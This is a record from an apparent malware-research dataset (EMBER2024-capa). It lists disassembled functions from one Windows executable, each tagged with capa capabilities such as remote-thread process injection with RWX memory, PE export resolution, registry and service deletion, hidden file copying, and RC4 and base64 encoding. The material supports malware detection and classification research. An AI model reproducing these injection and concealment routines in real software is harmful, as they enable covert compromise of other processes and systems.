joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001210
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
movsxd rax, dword [rcx + 0x3c]
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
jne 0x1400012b9
mov ecx, dword [rsi + rax + 0x88]
mov rdx, rsi
call fcn.1400011a0
mov r14d, eax
mov ecx, dword [r14 + rsi + 0x20]
mov rdx, rsi
call fcn.1400011a0
mov ebx, eax
mov ecx, dword [r14 + rsi + 0x1c]
mov rdx, rsi
call fcn.1400011a0
mov edi, eax
mov ecx, dword [r14 + rsi + 0x24]
mov rdx, rsi
call fcn.1400011a0
mov ebp, dword [r14 + rsi + 0x18]
test ebp, ebp
je 0x1400012b9
mov r14d, eax
add r14, rsi
mov r15d, ebx
add r15, rsi
lea rbx, section..rdata
nop dword [rax]
mov ecx, dword [r15]
mov rdx, rsi
call fcn.1400011a0
mov ecx, eax
add rcx, rsi
mov rdx, rbx
call fcn.140023140
test rax, rax
jne 0x1400012c8
add r15, 4
add r14, 2
dec ebp
jne 0x140001290
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov eax, edi
add rax, rsi
movzx ecx, word [r14]
mov ecx, dword [rax + rcx*4]
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.1400011a0

Function at 0x1400013e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x90
lea rbp, [rsp + 0x80]
nop
mov qword [rbp - 0x30], r9
mov dword [rbp + 0xc], r8d
mov qword [rbp - 0x18], rdx
mov qword [rbp - 8], rcx
mov qword [rbp], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x10], 0
mov dword [rbp + 8], 0
mov qword [rbp - 0x20], 0
nop
cmp qword [rbp - 8], 0
je 0x14000154c
nop
cmp qword [rbp - 0x18], 0
je 0x14000154c
nop
cmp dword [rbp + 0xc], 0
je 0x14000154c
nop
mov rcx, qword [rbp - 0x18]
call fcn.140001210
nop
mov dword [rbp + 8], eax
cmp dword [rbp + 8], 0
je 0x14000154c
nop
mov r8d, dword [rbp + 0xc]
mov rcx, qword [rbp - 8]
nop
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
mov qword [rbp], rax
cmp qword [rbp], 0
je 0x14000154c
nop
mov r9d, dword [rbp + 0xc]
mov r8, qword [rbp - 0x18]
mov rdx, qword [rbp]
mov rcx, qword [rbp - 8]
nop
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000154c
nop
mov rax, qword [rbp]
mov ecx, dword [rbp + 8]
add rcx, rax
mov qword [rbp - 0x28], rcx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlCreateUserThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x28]
mov rcx, qword [rbp - 8]
lea r9, [rbp - 0x10]
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x48], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rax
nop
cmp qword [rbp - 0x10], 0
je 0x14000154c
nop
mov r8d, dword [rbp + 0xc]
mov rdx, qword [rbp]
mov rcx, qword [rbp - 8]
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rax, qword [rbp - 0x10]
add rsp, 0x90
pop rbp
ret
Function at 0x140002230
Capabilities:
Move file

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov ecx, 0x20a
call fcn.14001efc0
mov qword [rbp - 0x10], rax
xor esi, esi
mov r8d, 0x105
mov rdi, qword [rbp - 0x10]
mov rcx, rdi
xor edx, edx
call fcn.14006dd10
call fcn.140002330
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rdi
xor edx, edx
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
call fcn.140002010
test eax, eax
jne 0x1400022c3
nop
cmp dword [0x140090658], 1
jne 0x1400022c3
lea rdx, str.5___
lea rcx, [rbp - 0x30]
mov r8d, 5
call fcn.140006940
lea rcx, [rbp - 0x30]
call fcn.140002580
mov esi, eax
mov eax, esi
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret

Function at 0x140002330
Capabilities:
Delete registry value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x128
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa0], 0xfffffffffffffffe
lea rdx, [0x140070120]
lea rdi, [rbp - 0x60]
mov r8d, 0xb4
mov rcx, rdi
call fcn.14006d670
lea rsi, [rbp + 0x60]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x2d
call fcn.140006940
nop
cmp qword [rbp + 0x78], 8
jb 0x140002388
mov rsi, qword [rbp + 0x60]
mov rcx, 0xffffffff80000001
mov rdx, rsi
mov r8d, 0xf003f
call fcn.140016490
mov rsi, rax
test rax, rax
je 0x14000243a
lea rdx, [0x14008f260]
lea rdi, [rbp + 0x80]
mov rcx, rdi
mov r8d, 0x1e
call fcn.140006940
nop
cmp qword [rbp + 0x98], 8
jb 0x1400023d7
mov rdi, qword [rbp + 0x80]
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
xor esi, esi
test eax, eax
setne bl
nop
mov rax, qword [rbp + 0x98]
cmp rax, 8
jb 0x140002435
nop
mov rcx, qword [rbp + 0x80]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140002430
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002497
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
mov sil, bl
jmp 0x14000243f
mov esi, 1
nop
mov rax, qword [rbp + 0x78]
cmp rax, 8
jb 0x140002484
nop
mov rcx, qword [rbp + 0x60]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000247f
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002492
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
mov eax, esi
add rsp, 0x128
pop rbx
pop rdi
pop rsi
pop rbp
ret
call fcn.14003f990
call fcn.14003f990
int3
Function at 0x140002580
Capabilities:
Delete service

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rcx
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
je 0x1400025fb
nop
mov rax, qword [rbp - 0x10]
cmp qword [rax + 0x18], 8
mov rdx, rax
jb 0x1400025c5
mov rdx, qword [rax]
mov rcx, rdi
mov r8d, 0x10000
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x140002602
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
xor esi, esi
test eax, eax
sete r14b
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov sil, r14b
jmp 0x140002607
mov esi, 1
jmp 0x140002610
mov esi, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rdi, qword [rbp - 0x10]
mov rax, qword [rdi + 0x18]
cmp rax, 8
jb 0x140002658
nop
mov rcx, qword [rdi]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140002653
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000267b
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
nop
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 7
mov word [rdi], 0
mov eax, esi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
call fcn.14003f990
int3
Function at 0x140003170
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], 0xfffffffffffffffe
lea rdx, [0x140070120]
lea rdi, [rbp - 0x50]
mov r8d, 0xb4
mov rcx, rdi
call fcn.14006d670
lea rsi, [rbp + 0x70]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x2d
call fcn.140006940
nop
cmp qword [rbp + 0x88], 8
jb 0x1400031cf
mov rsi, qword [rbp + 0x70]
mov rcx, 0xffffffff80000001
mov rdx, rsi
mov r8d, 0xf003f
call fcn.140016490
mov rsi, rax
test rax, rax
je 0x140003259
lea rdi, [0x140090450]
mov rcx, rdi
call fcn.1400441fc
mov rbx, rax
lea rdx, [0x14008f260]
lea r14, [rbp + 0x90]
mov rcx, r14
mov r8d, 0x1e
call fcn.140006940
nop
cmp qword [rbp + 0xa8], 8
jb 0x14000322c
mov r14, qword [rbp + 0x90]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov rcx, rsi
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov r15d, eax
cmp qword [rbp + 0x88], 8
jb 0x140003263
mov rdx, qword [rbp + 0x70]
jmp 0x140003267
mov edi, 1
jmp 0x140003326
lea rdx, [rbp + 0x70]
mov rcx, 0xffffffff80000001
mov r8d, 0xf003f
call fcn.140016490
mov r14, rax
test r15d, r15d
je 0x140003299
add ebx, ebx
or ebx, 1
cmp qword [rbp + 0xa8], 8
jb 0x14000329d
mov rdx, qword [rbp + 0x90]
jmp 0x1400032a4
xor edi, edi
jmp 0x1400032d2
lea rdx, [rbp + 0x90]
nop
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
xor edi, edi
mov rcx, rsi
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1400032d2
mov edi, 1
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rax, qword [rbp + 0xa8]
cmp rax, 8
jb 0x140003326
nop
mov rcx, qword [rbp + 0x90]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140003321
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000338e
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rax, qword [rbp + 0x88]
cmp rax, 8
jb 0x140003377
nop
mov rcx, qword [rbp + 0x70]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140003372
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140003389
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
mov eax, edi
add rsp, 0x138
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
call fcn.14003f990
call fcn.14003f990
int3

Function at 0x1400035d0
Capabilities:
Copy file
Delete file
Set file attributes

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rdx
mov rbx, rcx
mov rcx, rdx
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor edi, edi
mov rcx, rbx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CopyFileExW]
test eax, eax
je 0x14000362d
mov rcx, rsi
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x140003632
mov edi, 1
mov eax, edi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
Function at 0x140006d00
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x90
lea rbp, [rsp + 0x80]
nop
mov dword [rbp + 0xc], r8d
mov qword [rbp - 0x28], rdx
mov qword [rbp - 8], rcx
mov qword [rbp], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
nop
cmp qword [rbp - 8], 0
je 0x140006eb5
nop
cmp qword [rbp - 0x28], 0
je 0x140006eb5
nop
cmp dword [rbp + 0xc], 0
je 0x140006eb5
nop
mov r8d, dword [rbp + 0xc]
mov rcx, qword [rbp - 8]
nop
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
mov qword [rbp], rax
cmp qword [rbp], 0
je 0x140006eb5
nop
mov r9d, dword [rbp + 0xc]
mov r8, qword [rbp - 0x28]
mov rdx, qword [rbp]
mov rcx, qword [rbp - 8]
nop
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140006eb5
nop
mov r9, qword [rbp]
mov rcx, qword [rbp - 8]
lea rax, [rbp - 0x2c]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
nop
mov qword [rbp - 0x20], rax
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x140006e60
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlCreateUserThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140006e6a
nop
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp]
mov rcx, qword [rbp - 8]
lea r8, [rbp - 0x20]
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x30], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x38], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rax
nop
cmp qword [rbp - 0x20], 0
je 0x140006e8c
nop
mov dword [rbp + 8], 0
jmp 0x140006ea8
nop
mov edx, dword [rbp + 0xc]
mov rcx, qword [rbp]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [rbp - 0xc], 1
mov dword [rbp + 8], 1
jmp 0x140006ea8
lea rcx, str.INJECTION_FAILED_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop
mov dword [rbp - 0xc], 1
mov dword [rbp + 8], 1
nop
cmp dword [rbp + 8], 0
je 0x140006eb5
nop
mov eax, dword [rbp - 0xc]
jmp 0x140006eb7
xor eax, eax
add rsp, 0x90
pop rbp
ret
Function at 0x14000db10
Capabilities:
Get hostname

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x240
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1b8], 0xfffffffffffffffe
mov r14, rcx
nop
mov dword [rbp + 0x1b4], 0x100
lea rcx, [rbp - 0x60]
lea rdx, [rbp + 0x1b4]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xorps xmm0, xmm0
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm0
lea rcx, [rbp - 0x60]
call fcn.1400441fc
mov rsi, rax
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
jae 0x14000dc39
cmp rsi, 7
ja 0x14000dba3
nop
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 7
lea r8, [rsi + rsi]
lea rdx, [rbp - 0x60]
mov rcx, r14
call fcn.14006d670
lea rax, [r14 + rsi*2]
jmp 0x14000dc16
nop
mov qword [r14 + 0x18], 7
mov rax, rsi
or rax, 7
movabs rbx, 0x7ffffffffffffffe
mov rcx, 0xfffffffffffffffe
cmp rax, rbx
ja 0x14000dbe7
cmp rax, 0xb
mov ebx, 0xa
cmovae rbx, rax
lea rcx, [rbx*2 + 2]
cmp rbx, 0x7ff
jb 0x14000dbee
call fcn.140005860
jmp 0x14000dbf3
call fcn.14001ef3c
mov rdi, rax
nop
mov qword [r14], rax
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], rbx
lea r8, [rsi + rsi]
lea rdx, [rbp - 0x60]
mov rcx, rax
call fcn.14006d670
lea rax, [rdi + rsi*2]
nop
mov word [rax], 0
mov qword [rbp + 0x1a8], r14
nop
mov rax, qword [rbp + 0x1a8]
add rsp, 0x240
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
call fcn.140005840
int3

Function at 0x14000f1f0
Capabilities:
Encode data using base64

Disassembly:
push rsi
push rdi
push rbx
mov rax, r9
xor r9d, r9d
mov rcx, rax
cmp r8d, 3
jl 0x14000f288
lea r10d, [r8 - 2]
xor r9d, r9d
lea r11, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rcx, rax
nop word [rax + rax]
movzx esi, byte [rdx + r9]
shr esi, 2
movzx ebx, byte [rsi + r11]
mov byte [rcx], bl
movzx esi, byte [rdx + r9]
shl esi, 4
and esi, 0x30
movzx edi, byte [rdx + r9 + 1]
shr edi, 4
or edi, esi
movzx ebx, byte [rdi + r11]
mov byte [rcx + 1], bl
movzx esi, byte [rdx + r9 + 1]
and esi, 0xf
movzx edi, byte [rdx + r9 + 2]
shr edi, 6
lea esi, [rdi + rsi*4]
movzx ebx, byte [rsi + r11]
mov byte [rcx + 2], bl
movzx esi, byte [rdx + r9 + 2]
and esi, 0x3f
movzx ebx, byte [rsi + r11]
mov byte [rcx + 3], bl
add rcx, 4
add r9, 3
cmp r9, r10
jb 0x14000f220
mov r10d, r9d
sub r8d, r9d
test r8b, 2
jne 0x14000f2cf
test r8b, 1
je 0x14000f323
movzx r8d, byte [rdx + r10]
shr r8d, 2
lea r9, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx r8d, byte [r8 + r9]
mov byte [rcx], r8b
movzx edx, byte [rdx + r10]
shl edx, 4
and edx, 0x30
movzx edx, byte [rdx + r9]
mov byte [rcx + 1], dl
mov byte [rcx + 2], 0x3d
jmp 0x14000f31b
movzx r8d, byte [rdx + r10]
shr r8d, 2
lea r9, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx r8d, byte [r8 + r9]
mov byte [rcx], r8b
movzx r8d, byte [rdx + r10]
shl r8d, 4
and r8d, 0x30
movzx r11d, byte [rdx + r10 + 1]
shr r11d, 4
or r11d, r8d
movzx r8d, byte [r11 + r9]
mov byte [rcx + 1], r8b
movzx edx, byte [rdx + r10 + 1]
and edx, 0xf
movzx edx, byte [r9 + rdx*4]
mov byte [rcx + 2], dl
mov byte [rcx + 3], 0x3d
add rcx, 4
mov byte [rcx], 0
pop rbx
pop rdi
pop rsi
ret
Function at 0x14000f8a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
mov dword [rcx + 0x218], 0
mov qword [rcx + 0x210], 0
mov rcx, r8
call fcn.140043f90
mov dword [rdi + 0x21c], eax
mov dword [rdi + 0x20c], 0
xor ecx, ecx
nop
mov eax, ecx
cdq
idiv dword [rdi + 0x21c]
movsxd rax, edx
movzx eax, byte [rbx + rax]
movsxd rcx, ecx
mov byte [rdi + rcx + 0x108], al
movsxd rax, dword [rdi + 0x20c]
mov byte [rdi + rax + 8], al
mov eax, dword [rdi + 0x20c]
lea ecx, [rax + 1]
mov dword [rdi + 0x20c], ecx
cmp eax, 0xff
jl 0x14000f8e0
mov dword [rdi + 0x20c], 0
xor eax, eax
jmp 0x14000f942
lea ecx, [rax + 1]
mov dword [rdi + 0x20c], ecx
cmp eax, 0xff
mov eax, ecx
jge 0x14000f9a3
movsxd rcx, eax
movzx edx, byte [rdi + rcx + 8]
add dl, byte [rdi + 0x210]
add dl, byte [rdi + rcx + 0x108]
movzx edx, dl
mov dword [rdi + 0x210], edx
cmp ecx, edx
je 0x14000f930
movzx eax, byte [rdi + rdx + 8]
xor byte [rdi + rcx + 8], al
movsxd rax, dword [rdi + 0x20c]
movzx eax, byte [rdi + rax + 8]
movsxd rcx, dword [rdi + 0x210]
xor byte [rdi + rcx + 8], al
movsxd rax, dword [rdi + 0x210]
movzx eax, byte [rdi + rax + 8]
movsxd rcx, dword [rdi + 0x20c]
xor byte [rdi + rcx + 8], al
mov eax, dword [rdi + 0x20c]
jmp 0x14000f930
mov rcx, rsi
call fcn.140043f90
mov dword [rdi + 0x21c], eax
mov dword [rdi + 0x20c], 0
test eax, eax
jle 0x14000fa68
xor eax, eax
jmp 0x14000f9ef
mov byte [rdi + 0x208], dl
xor byte [rsi + rax], dl
mov eax, dword [rdi + 0x20c]
inc eax
mov dword [rdi + 0x20c], eax
cmp eax, dword [rdi + 0x21c]
jge 0x14000fa68
mov ecx, dword [rdi + 0x214]
inc ecx
movzx ecx, cl
mov dword [rdi + 0x214], ecx
movzx edx, byte [rdi + rcx + 8]
movzx r8d, byte [rdi + 0x218]
add r8b, dl
movzx r8d, r8b
mov dword [rdi + 0x218], r8d
cmp ecx, r8d
je 0x14000fa37
xor dl, byte [rdi + r8 + 8]
mov byte [rdi + rcx + 8], dl
xor dl, byte [rdi + r8 + 8]
mov byte [rdi + r8 + 8], dl
xor byte [rdi + rcx + 8], dl
movzx edx, byte [rdi + r8 + 8]
add dl, byte [rdi + rcx + 8]
movzx ecx, dl
movzx ecx, byte [rdi + rcx + 8]
mov byte [rdi + 0x208], cl
cdqe
movsx r8d, byte [rsi + rax]
xor edx, edx
cmp ecx, r8d
je 0x14000f9d0
mov edx, ecx
jmp 0x14000f9d0
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x140014d20
Capabilities:
Check os version

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x14008f700]
xor rax, rsp
mov qword [rsp + 0x138], rax
mov dword [rsp + 0x24], 0x114
lea rcx, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
setne al
cmp dword [rsp + 0x28], 6
sete bl
and bl, al
mov rcx, qword [rsp + 0x138]
xor rcx, rsp
call fcn.14001f1c0
mov eax, ebx
add rsp, 0x140
pop rbx
ret
Function at 0x1400164e0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x240
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1b8], 0xfffffffffffffffe
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
lea r14, [rbp - 0x50]
mov r8d, 0x1fe
mov rcx, r14
xor edx, edx
call fcn.14006dd10
mov dword [rbp + 0x1b4], 0xff
lea rax, [rbp + 0x1b4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov rcx, rbx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm0
je 0x14001656b
nop
mov qword [rsi + 0x18], 7
mov word [rsi], 0
jmp 0x14001662d
lea rcx, [rbp - 0x50]
call fcn.1400441fc
mov rdi, rax
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jae 0x14001663e
cmp rdi, 7
ja 0x1400165b3
nop
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 7
lea r8, [rdi + rdi]
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.14006d670
lea rax, [rsi + rdi*2]
jmp 0x140016627
nop
mov qword [rsi + 0x18], 7
mov rax, rdi
or rax, 7
movabs r14, 0x7ffffffffffffffe
mov rcx, 0xfffffffffffffffe
cmp rax, r14
ja 0x1400165f8
cmp rax, 0xb
mov r14d, 0xa
cmovae r14, rax
lea rcx, [r14*2 + 2]
cmp r14, 0x7ff
jb 0x1400165ff
call fcn.140005860
jmp 0x140016604
call fcn.14001ef3c
mov rbx, rax
nop
mov qword [rsi], rax
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], r14
lea r8, [rdi + rdi]
lea rdx, [rbp - 0x50]
mov rcx, rax
call fcn.14006d670
lea rax, [rbx + rdi*2]
nop
mov word [rax], 0
mov rax, rsi
add rsp, 0x240
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
call fcn.140005840
int3
Function at 0x140020c70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140020cba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140020cba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140020cba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140020cba
cmp dword [rcx + 0x84], 0xe
jbe 0x140020cba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140020cbc
xor al, al
add rsp, 0x28
ret

Function at 0x14003b778
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003ba08
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14003ba78
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003ba78
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003ba78
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003ba78
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003ba78
cmp dword [rcx + 0x84], 0xe
jbe 0x14003ba78
cmp dword [rcx + 0xf8], esi
je 0x14003ba78
mov ecx, r14d
call fcn.14003b880
mov ecx, 2
call fcn.1400542b0
nop
cmp byte [0x1400910d4], 0
jne 0x14003bb42
mov r15d, 1
mov eax, r15d
xchg dword [0x1400910d0], eax
test ebx, ebx
jne 0x14003baeb
mov rdi, qword [0x14008f700]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x1400910c8]
cmp rcx, rax
je 0x14003bae2
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [section..00cfg]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140091410]
jmp 0x14003baf7
cmp ebx, r15d
jne 0x14003bafd
lea rcx, [0x140091428]
call fcn.14003e418
nop
test ebx, ebx
jne 0x14003bb14
lea rdx, [0x14007d670]
lea rcx, [0x14007d650]
call fcn.14003f8ac
lea rdx, [0x14007d680]
lea rcx, [0x14007d678]
call fcn.14003f8ac
movzx eax, byte [0x1400910d4]
test esi, esi
cmove eax, r15d
mov byte [0x1400910d4], al
jmp 0x14003bb42
mov ecx, 2
call fcn.1400542cc
test esi, esi
jne 0x14003bb59
mov ecx, r14d
call fcn.14003b974
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x140044b10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140044b38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140044b38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14005e8b0
Capabilities:
Create thread
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov esi, r8d
mov r14, rdx
mov rbx, rcx
call fcn.140053680
mov bpl, al
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor edi, edi
test eax, eax
je 0x14005e903
test rbx, rbx
je 0x14005e8f4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test bpl, bpl
je 0x14005e903
mov edi, 4
jmp 0x14005e9ac
